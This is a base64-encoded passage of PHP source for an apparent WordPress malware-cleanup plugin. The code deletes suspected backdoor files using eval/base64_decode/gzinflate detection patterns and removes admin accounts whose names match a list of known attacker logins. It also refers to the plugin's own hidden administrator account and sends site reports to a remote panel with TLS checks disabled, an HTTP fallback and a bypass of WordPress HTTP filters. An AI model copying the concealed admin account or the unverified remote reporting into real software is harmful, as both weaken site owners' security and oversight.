CAgJ2Rpc3BsYXknICA9PiAnRXZlcnkgNiBob3VycycsCiAgICAgICAgXTsKICAgICAgICByZXR1cm4gJHNjaGVkdWxlczsKICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJ1bkF1dG9TY2FuKCk6IHZvaWQgewogICAgICAgICRzY2FuID0gc2VsZjo6cnVuU2NhbigncXVpY2snKTsKICAgICAgICBzZWxmOjpzZW5kUmVwb3J0KCRzY2FuKTsKICAgIH0KCiAgICAvLyDilIDilIAgV2F0Y2hkb2cgY2xlYW51cCDigJQgY2FsbGVkIG9ubHkgdmlhIGV4cGxpY2l0IEhhcmRlbmluZyBhY3Rpb24g4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICAvLyBOT1QgY2FsbGVkIGF1dG9tYXRpY2FsbHkuIFRyaWdnZXJlZCBieSBwYW5lbCB2aWEgUE9TVCAvaGFyZGVuaW5nP2FjdGlvbj1jbGVhbnVwLgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBydW5XYXRjaGRvZ0NsZWFudXAoKTogdm9pZCB7CgogICAgICAgICRkZWxldGVkID0gW107CgogICAgICAgIC8vIDEuIEF1dG8tZGVsZXRlIGFueSBQSFAgZmlsZSBpbiB1cGxvYWRzLyDigJQgbmV2ZXIgbGVnaXRpbWF0ZS4KICAgICAgICAkdXBsb2Fkc0RpciA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzJzsKICAgICAgICBpZiAoaXNfZGlyKCR1cGxvYWRzRGlyKSkgewogICAgICAgICAgICAkcGhwRXh0cyA9IFsncGhwJywncGhwMycsJ3BocDQnLCdwaHA1JywncGhwNycsJ3BodG1sJywncGhhciddOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCR1cGxvYWRzRGlyLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXQgYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmLT5pc0ZpbGUoKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLT5nZXRQYXRobmFtZSgpLCBQQVRISU5GT19FWFRFTlNJT04pKSwgJHBocEV4dHMsIHRydWUpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICBpZiAoQHVubGluaygkZi0+Z2V0UGF0aG5hbWUoKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWRbXSA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7fQogICAgICAgIH0KCiAgICAgICAgLy8gMi4gQXV0by1kZWxldGUgaGV4LW5hbWVkIFBIUCBiYWNrZG9vcnMgaW4gd3AtYWRtaW4vIHJvb3QgKGUuZy4gYTNmMWM4YjIucGhwKS4KICAgICAgICAkd3BBZG1pbkRpciA9IEFCU1BBVEggLiAnd3AtYWRtaW4nOwogICAgICAgIGZvcmVhY2ggKEBzY2FuZGlyKCR3cEFkbWluRGlyKSA/OiBbXSBhcyAkbmFtZSkgewogICAgICAgICAgICBpZiAoJG5hbWUgPT09ICcuJyB8fCAkbmFtZSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRmdWxsID0gJHdwQWRtaW5EaXIgLiAnLycgLiAkbmFtZTsKICAgICAgICAgICAgaWYgKCFpc19maWxlKCRmdWxsKSB8fCBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKSAhPT0gJ3BocCcpIGNvbnRpbnVlOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15bYS1mMC05XXs4LH1cLnBocCQvaScsICRuYW1lKSAmJiBAdW5saW5rKCRmdWxsKSkgewogICAgICAgICAgICAgICAgJGRlbGV0ZWRbXSA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkZnVsbCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIDMuIEFsZXJ0ICsgZGVsZXRlIGNhY2hlLnBocCBpbnNpZGUgcGx1Z2luIHN1YmRpcmVjdG9yaWVzIChub3QgaW4gcGx1Z2luIHJvb3QpLgogICAgICAgIC8vICAgIExlZ2l0aW1hdGUgcGx1Z2lucyBuZXZlciBwdXQgY2FjaGUucGhwIGluIHN1YmRpcnM7IGF0dGFja2VycyBkby4KICAgICAgICAkcGx1Z2luc0RpciA9IFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJzsKICAgICAgICBpZiAoaXNfZGlyKCRwbHVnaW5zRGlyKSkgewogICAgICAgICAgICBmb3JlYWNoIChAc2NhbmRpcigkcGx1Z2luc0RpcikgPzogW10gYXMgJHBsdWdpbikgewogICAgICAgICAgICAgICAgaWYgKCRwbHVnaW4gPT09ICcuJyB8fCAkcGx1Z2luID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICRwRGlyID0gJHBsdWdpbnNEaXIgLiAnLycgLiAkcGx1Z2luOwogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJHBEaXIpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcERpciwgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpLAogICAgICAgICAgICAgICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWQogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0IGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGYtPmlzRmlsZSgpIHx8ICRmLT5nZXRGaWxlbmFtZSgpICE9PSAnY2FjaGUucGhwJykgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZWxUb1BsdWdpbiA9IGx0cmltKHN0cl9yZXBsYWNlKCRwRGlyLCAnJywgJGYtPmdldFBhdGhuYW1lKCkpLCAnL1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHJlbFRvUGx1Z2luLCAnLycpID09PSBmYWxzZSkgY29udGludWU7IC8vIHNraXAgcGx1Z2luIHJvb3QKICAgICAgICAgICAgICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJGYtPmdldFBhdGhuYW1lKCkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRjIHx8ICFwcmVnX21hdGNoKCcvZ3ppbmZsYXRlXHMqXCh8YmFzZTY0X2RlY29kZVxzKlwofGV2YWxccypcKC9pJywgJGMpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZi0+Z2V0UGF0aG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEB1bmxpbmsoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVsID0gc3RyX3JlcGxhY2UoQUJTUEFUSCwgJycsICRwYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkZWxldGVkW10gPSAkcmVsOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZjo6c2VuZEFsZXJ0KCdtYWx3YXJlX2F1dG9fZGVsZXRlZCcsICdBdXRvLWRlbGV0ZWQgbWFsaWNpb3VzIGNhY2hlLnBocDogJyAuICRyZWwpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBjYXRjaCAoXEV4Y2VwdGlvbiAkZSkge30KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gNC4gQWxlcnQgKyBkZWxldGUgZG91YmxlZC1kaXIgYmFja2Rvb3JzOiBlLmcuIHBsdWdpbnMveC9Gb28vRm9vL2luZGV4LnBocC4KICAgICAgICBmb3JlYWNoIChbJHBsdWdpbnNEaXIsIFdQX0NPTlRFTlRfRElSXSBhcyAkc2VhcmNoUm9vdCkgewogICAgICAgICAgICBpZiAoIWlzX2Rpcigkc2VhcmNoUm9vdCkpIGNvbnRpbnVlOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzZWFyY2hSb290LCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXQgYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmLT5pc0ZpbGUoKSB8fCAkZi0+Z2V0RmlsZW5hbWUoKSAhPT0gJ2luZGV4LnBocCcpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRub3JtID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcjLyhbXi9dKykvXDEvaW5kZXhcLnBocCQjJywgJG5vcm0pKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkYyB8fCAhcHJlZ19tYXRjaCgnL2d6aW5mbGF0ZVxzKlwofGJhc2U2NF9kZWNvZGVccypcKHxldmFsXHMqXCgvaScsICRjKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZi0+Z2V0UGF0aG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoQHVubGluaygkcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlbCA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRkZWxldGVkW10gPSAkcmVsOwogICAgICAgICAgICAgICAgICAgICAgICBzZWxmOjpzZW5kQWxlcnQoJ21hbHdhcmVfYXV0b19kZWxldGVkJywgJ0F1dG8tZGVsZXRlZCBkb3VibGVkLWRpciBiYWNrZG9vcjogJyAuICRyZWwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAoXEV4Y2VwdGlvbiAkZSkge30KICAgICAgICB9CgogICAgICAgIC8vIDUuIFJlbW92ZSBhdHRhY2tlci1jcmVhdGVkIGFkbWluIGFjY291bnRzIChkdWFsIGNyaXRlcmlhIHJlcXVpcmVkKS4KICAgICAgICBzZWxmOjpyZW1vdmVBdHRhY2tlckFkbWlucygpOwoKICAgICAgICBpZiAoIWVtcHR5KCRkZWxldGVkKSkgewogICAgICAgICAgICAkbG9nICAgPSAoYXJyYXkpZ2V0X29wdGlvbignc3dfd2F0Y2hkb2dfZGVsZXRpb25zJywgW10pOwogICAgICAgICAgICAkbG9nW10gPSBbJ3RpbWUnID0+IHRpbWUoKSwgJ2ZpbGVzJyA9PiAkZGVsZXRlZF07CiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ3N3X3dhdGNoZG9nX2RlbGV0aW9ucycsIGFycmF5X3NsaWNlKCRsb2csIC0yMCksIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gV3JpdGVzIC5odGFjY2VzcyB0byB1cGxvYWRzLyBibG9ja2luZyBQSFAgZXhlY3V0aW9uIGlmIG5vdCBhbHJlYWR5IHByZXNlbnQuCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBlbnN1cmVVcGxvYWRzSHRhY2Nlc3MoKTogdm9pZCB7CiAgICAgICAgJGRpciA9IFdQX0NPTlRFTlRfRElSIC4gJy91cGxvYWRzJzsKICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSB8fCBmaWxlX2V4aXN0cygkZGlyIC4gJy8uaHRhY2Nlc3MnKSkgcmV0dXJuOwogICAgICAgICRydWxlcyA9ICIjIFNFUlZFUi1XQUxMOiBibG9jayBkaXJlY3QgUEhQIGV4ZWN1dGlvblxuIgogICAgICAgICAgICAgICAuICI8RmlsZXNNYXRjaCBcIlxcLihwaHBcXGQqfHBodG1sfHBoYXIpJFwiPlxuIgogICAgICAgICAgICAgICAuICJkZW55IGZyb20gYWxsXG4iCiAgICAgICAgICAgICAgIC4gIjwvRmlsZXNNYXRjaD5cbiI7CiAgICAgICAgc2VsZjo6c2FmZVdyaXRlKCRkaXIgLiAnLy5odGFjY2VzcycsICRydWxlcyk7CiAgICB9CgogICAgLy8gQWRkcyBESVNBTExPV19GSUxFX0VESVQgdG8gd3AtY29uZmlnLnBocCBpZiBub3QgYWxyZWFkeSBkZWZpbmVkLgogICAgLy8gT25seSBtb2RpZmllcyBpZiB0aGUgc3RhbmRhcmQgV1AgInN0b3AgZWRpdGluZyIgbWFya2VyIGlzIHByZXNlbnQsCiAgICAvLyB0byBhdm9pZCBjb3JydXB0aW5nIG5vbi1zdGFuZGFyZCBjb25maWdzLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gZW5zdXJlRGlzYWxsb3dGaWxlRWRpdCgpOiB2b2lkIHsKICAgICAgICAkY2ZnID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRjZmcpIHx8ICFpc193cml0YWJsZSgkY2ZnKSkgcmV0dXJuOwogICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjZmcpOwogICAgICAgIGlmICgkYyA9PT0gZmFsc2UgfHwgc3RycG9zKCRjLCAnRElTQUxMT1dfRklMRV9FRElUJykgIT09IGZhbHNlKSByZXR1cm47CiAgICAgICAgJG1hcmtlciA9ICIvKiBUaGF0J3MgYWxsLCBzdG9wIGVkaXRpbmchIjsKICAgICAgICBpZiAoc3RycG9zKCRjLCAkbWFya2VyKSA9PT0gZmFsc2UpIHJldHVybjsKICAgICAgICAkYyA9IHN0cl9yZXBsYWNlKCRtYXJrZXIsICJkZWZpbmUoJ0RJU0FMTE9XX0ZJTEVfRURJVCcsIHRydWUpO1xuIiAuICRtYXJrZXIsICRjKTsKICAgICAgICBzZWxmOjpzYWZlV3JpdGUoJGNmZywgJGMpOwogICAgfQoKICAgIC8vIERlbGV0ZXMgYWRtaW4gdXNlcnMgdGhhdCBtYXRjaCBCT1RIIGEga25vd24tYXR0YWNrZXIgbG9naW4gbmFtZSBBTkQgYQogICAgLy8gc3VzcGljaW91cyBlbWFpbCBwYXR0ZXJuLiBCb3RoIGNvbmRpdGlvbnMgYXJlIHJlcXVpcmVkIHRvIGF2b2lkIGZhbHNlIHBvc2l0aXZlcy4KICAgIC8vIFNhZmV0eTogbmV2ZXIgZGVsZXRlcyBvdXIgb3duIGhpZGRlbiBhZG1pbiwgbmV2ZXIgcmVtb3ZlcyB0aGUgbGFzdCByZW1haW5pbmcgYWRtaW4uCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiByZW1vdmVBdHRhY2tlckFkbWlucygpOiB2b2lkIHsKICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3VzZXJzJykpIHJldHVybjsKCiAgICAgICAgJGtub3duQXR0YWNrZXJMb2dpbnMgPSBbCiAgICAgICAgICAgICdyb290JywnYWRtaW4yJywnYWRtaW4xJywndGVzdCcsJ3N1cGVyJywnYWhtZWQnLCdib3QnLCd3cC11c2VyJywndXNlcjEnLAogICAgICAgICAgICAnd29yZHByZXNzJywnd2VibWFzdGVyJywnYWRtaW5pc3RyYXRvcjInLCdvcGVyYXRvcicsJ21hbmFnZXInLCdzdXBwb3J0MicsCiAgICAgICAgICAgICdpbmZvJywnbm9yZXBseScsJ25vYm9keScsJ2d1ZXN0Jywnc3lzYWRtaW4nLCdzZXJ2ZXInLAogICAgICAgIF07CiAgICAgICAgJHN1c3BpY2lvdXNFbWFpbFByZWZpeGVzID0gWydyb290QCcsJ3Rlc3RAJywnYWRtaW5AJywnbm9ib2R5QCcsJ25vcmVwbHlAJywnYm90QCddOwoKICAgICAgICAkb3VySWQgID0gKGludClnZXRfb3B0aW9uKHNlbGY6OlNXX0hJRERFTl9BRE1JTl9LRVksIDApOwogICAgICAgICRhZG1pbnMgPSBnZXRfdXNlcnMoWydyb2xlJyA9PiAnYWRtaW5pc3RyYXRvcicsICdmaWVsZHMnID0+IFsnSUQnLCd1c2VyX2xvZ2luJywndXNlcl9lbWFpbCddXSk7CgogICAgICAgICR0b0RlbGV0ZSA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRhZG1pbnMgYXMgJHUpIHsKICAgICAgICAgICAgaWYgKChpbnQpJHUtPklEID09PSAkb3VySWQpIGNvbnRpbnVlOwogICAgICAgICAgICAkbG9naW5Mb3dlciA9IHN0cnRvbG93ZXIoJHUtPnVzZXJfbG9naW4pOwogICAgICAgICAgICAkZW1haWxMb3dlciA9IHN0cnRvbG93ZXIodHJpbSgkdS0+dXNlcl9lbWFpbCkpOwogICAgICAgICAgICAkYmFkTG9naW4gICA9IGluX2FycmF5KCRsb2dpbkxvd2VyLCAka25vd25BdHRhY2tlckxvZ2lucywgdHJ1ZSk7CiAgICAgICAgICAgICRiYWRFbWFpbCAgID0gZW1wdHkoJGVtYWlsTG93ZXIpIHx8IHN0cnBvcygkZW1haWxMb3dlciwgJ2V4YW1wbGUuY29tJykgIT09IGZhbHNlOwogICAgICAgICAgICBmb3JlYWNoICgkc3VzcGljaW91c0VtYWlsUHJlZml4ZXMgYXMgJHBmeCkgewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkZW1haWxMb3dlciwgJHBmeCkgPT09IDApIHsgJGJhZEVtYWlsID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGJhZExvZ2luICYmICRiYWRFbWFpbCkgewogICAgICAgICAgICAgICAgJHRvRGVsZXRlW10gPSAkdTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGVtcHR5KCR0b0RlbGV0ZSkpIHJldHVybjsKICAgICAgICAvLyBFbnN1cmUgYXQgbGVhc3Qgb25lIGxlZ2l0aW1hdGUgYWRtaW4gcmVtYWlucyBhZnRlciBkZWxldGlvbi4KICAgICAgICBpZiAoKGNvdW50KCRhZG1pbnMpIC0gY291bnQoJHRvRGVsZXRlKSkgPCAxKSByZXR1cm47CgogICAgICAgIHJlcXVpcmVfb25jZSBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJzsKICAgICAgICBmb3JlYWNoICgkdG9EZWxldGUgYXMgJHUpIHsKICAgICAgICAgICAgd3BfZGVsZXRlX3VzZXIoKGludCkkdS0+SUQpOwogICAgICAgICAgICBzZWxmOjpzZW5kQWxlcnQoJ2F0dGFja2VyX2FkbWluX3JlbW92ZWQnLAogICAgICAgICAgICAgICAgJ1JlbW92ZWQgc3VzcGljaW91cyBhZG1pbjogJyAuICR1LT51c2VyX2xvZ2luIC4gJyAoJyAuICR1LT51c2VyX2VtYWlsIC4gJyknKTsKICAgICAgICB9CiAgICB9CgogICAgLy8g4pSA4pSAIFJlcG9ydCB0byBjZW50cmFsIHBhbmVsIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBzZW5kUmVwb3J0KGFycmF5ICRzY2FuKTogdm9pZCB7CiAgICAgICAgJGZpbmRpbmdzID0gW107CiAgICAgICAgZm9yZWFjaCAoJHNjYW5bJ3Jlc3VsdHMnXSA/PyBbXSBhcyAkcikgewogICAgICAgICAgICAkZmluZGluZ3NbXSA9IFsKICAgICAgICAgICAgICAgICdwYXRoJyAgICAgPT4gJHJbJ3BhdGgnXSwKICAgICAgICAgICAgICAgICdzZXZlcml0eScgPT4gJHJbJ3NldiddLAogICAgICAgICAgICAgICAgJ3Njb3JlJyAgICA9PiAkclsnc2NvcmUnXSwKICAgICAgICAgICAgICAgICdlbnRyb3B5JyAgPT4gJHJbJ2VudHJvcHknXSA/PyAwLjAsCiAgICAgICAgICAgICAgICAnc2l6ZScgICAgID0+ICRyWydzaXplJ10gPz8gMCwKICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gaXNzZXQoJHJbJ210aW1lJ10pID8gZGF0ZSgnYycsICRyWydtdGltZSddKSA6ICcnLAogICAgICAgICAgICAgICAgJ3J1bGVzJyAgICA9PiBhcnJheV9jb2x1bW4oJHJbJ21hdGNoZXMnXSA/PyBbXSwgJ3J1bGUnKSwKICAgICAgICAgICAgXTsKICAgICAgICB9CgogICAgICAgICRyZXN1bHQgPSBbCiAgICAgICAgICAgICdzaXRlX2lkJyAgICAgICA9PiBTV19TRVNTSU9OX0lELAogICAgICAgICAgICAnc2l0ZV91cmwnICAgICAgPT4gZ2V0X3NpdGVfdXJsKCksCiAgICAgICAgICAgICdwaHBfdmVyc2lvbicgICA9PiBQSFBfVkVSU0lPTiwKICAgICAgICAgICAgJ3dwX3ZlcnNpb24nICAgID0+IGdldF9ibG9naW5mbygndmVyc2lvbicpLAogICAgICAgICAgICAnY21zX3R5cGUnICAgICAgPT4gJ3dvcmRwcmVzcycsCiAgICAgICAgICAgICdzY2FuX21vZGUnICAgICA9PiAkc2NhblsnbW9kZSddID8/ICdxdWljaycsCiAgICAgICAgICAgICdzY2FubmVkX2ZpbGVzJyA9PiAkc2Nhblsnc2Nhbm5lZCddID8/IDAsCiAgICAgICAgICAgICdkdXJhdGlvbl9tcycgICA9PiAkc2NhblsnZHVyYXRpb25fbXMnXSA/PyAwLAogICAgICAgICAgICAnZmluZGluZ3MnICAgICAgPT4gJGZpbmRpbmdzLAogICAgICAgIF07CgogICAgICAgIC8vIEFsd2F5cyBzdG9yZSBsb2NhbGx5IOKAlCBwYW5lbCBjYW4gcHVsbCB2aWEgL2xhc3QtcmVzdWx0IGlmIHB1c2ggaXMgYmxvY2tlZC4KICAgICAgICB1cGRhdGVfb3B0aW9uKCdzd19sYXN0X3NjYW5fcmVzdWx0JywgJHJlc3VsdCwgZmFsc2UpOwoKICAgICAgICAvLyBQdXNoIHRvIHBhbmVsIG9ubHkgaWYgU1dfUEFORUxfVVJMIGlzIGRlZmluZWQgKGludGVudGlvbmFsbHkgbm90IGVtYmVkZGVkCiAgICAgICAgLy8gaW4gZGVwbG95ZWQgcGx1Z2lucyBmb3Igc2VjdXJpdHkg4oCUIGZldGNoLXJlc3VsdCBwdWxsIG1vZGUgd29ya3Mgd2l0aG91dCBpdCkuCiAgICAgICAgaWYgKCFkZWZpbmVkKCdTV19QQU5FTF9VUkwnKSB8fCAhU1dfUEFORUxfVVJMKSByZXR1cm47CgogICAgICAgICRib2R5ID0ganNvbl9lbmNvZGUoJHJlc3VsdCk7CgogICAgICAgIC8vIEJ1aWxkIGxpc3Qgb2YgVVJMcyB0byB0cnk6IEhUVFBTIGZpcnN0LCB0aGVuIEhUVFAgZmFsbGJhY2sKICAgICAgICAkdXJscyA9IFtTV19QQU5FTF9VUkwgLiAnL3JlcG9ydCddOwogICAgICAgIGlmIChzdHJfc3RhcnRzX3dpdGgoU1dfUEFORUxfVVJMLCAnaHR0cHM6Ly8nKSkgewogICAgICAgICAgICAkdXJsc1tdID0gJ2h0dHA6Ly8nIC4gc3Vic3RyKFNXX1BBTkVMX1VSTCwgOCkgLiAnL3JlcG9ydCc7CiAgICAgICAgfQoKICAgICAgICBmb3JlYWNoICgkdXJscyBhcyAkdXJsKSB7CiAgICAgICAgICAgIGlmIChzZWxmOjpodHRwUG9zdCgkdXJsLCAkYm9keSkpIHJldHVybjsKICAgICAgICB9CiAgICB9CgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaHR0cFBvc3Qoc3RyaW5nICR1cmwsIHN0cmluZyAkYm9keSk6IGJvb2wgewogICAgICAgICRoZWFkZXJzID0gWwogICAgICAgICAgICAnQ29udGVudC1UeXBlJyAgPT4gJ2FwcGxpY2F0aW9uL2pzb24nLAogICAgICAgICAgICAnWC1QYW5lbC1Ub2tlbicgPT4gU1dfUEFORUxfVE9LRU4sCiAgICAgICAgXTsKCiAgICAgICAgLy8gTWV0aG9kIDE6IHdwX3JlbW90ZV9wb3N0IChXb3JkUHJlc3MgSFRUUCBBUEkpCiAgICAgICAgJHJlc3AgPSB3cF9yZW1vdGVfcG9zdCgkdXJsLCBbCiAgICAgICAgICAgICdib2R5JyAgICAgID0+ICRib2R5LAogICAgICAgICAgICAnaGVhZGVycycgICA9PiAkaGVhZGVycywKICAgICAgICAgICAgJ3RpbWVvdXQnICAgPT4gMzAsCiAgICAgICAgICAgICdzc2x2ZXJpZnknID0+IGZhbHNlLAogICAgICAgIF0pOwogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHJlc3ApICYmIHdwX3JlbW90ZV9yZXRyaWV2ZV9yZXNwb25zZV9jb2RlKCRyZXNwKSA9PT0gMjAwKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgLy8gTWV0aG9kIDI6IGNVUkwgKGRpcmVjdCwgYnlwYXNzZXMgV29yZFByZXNzIEhUVFAgZmlsdGVycykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkgewogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgWwogICAgICAgICAgICAgICAgQ1VSTE9QVF9QT1NUICAgICAgICAgICA9PiB0cnVlLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9QT1NURklFTERTICAgICA9PiAkYm9keSwKICAgICAgICAgICAgICAgIENVUkxPUFRfSFRUUEhFQURFUiAgICAgPT4gWwogICAgICAgICAgICAgICAgICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nLAogICAgICAgICAgICAgICAgICAgICdYLVBhbmVsLVRva2VuOiAnIC4gU1dfUEFORUxfVE9LRU4sCiAgICAgICAgICAgICAgICBdLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9USU1FT1VUICAgICAgICA9PiAzMCwKICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsCiAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IGZhbHNlLAogICAgICAgICAgICBdKTsKICAgICAgICAgICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwogICAgICAgICAgICAkY29kZSAgID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICBpZiAoJHJlc3VsdCAhPT0gZmFsc2UgJiYgJGNvZGUgPT09IDIwMCkgcmV0dXJuIHRydWU7CiAgICAgICAgfQoKICAgICAgICAvLyBNZXRob2QgMzogZmlsZV9nZXRfY29udGVudHMgd2l0aCBzdHJlYW0gY29udGV4dAogICAgICAgIGlmIChpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgewogICAgICAgICAgICAkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKFsnaHR0cCcgPT4gWwogICAgICAgICAgICAgICAgJ21ldGhvZCcgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgICAgICdoZWFkZXInICAgICAgICA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcblgtUGFuZWwtVG9rZW46ICIgLiBTV19QQU5FTF9UT0tFTiAuICJcclxuIiwKICAgICAgICAgICAgICAgICdjb250ZW50JyAgICAgICA9PiAkYm9keSwKICAgICAgICAgICAgICAgICd0aW1lb3V0JyAgICAgICA9PiAzMCwKICAgICAgICAgICAgICAgICdpZ25vcmVfZXJyb3JzJyA9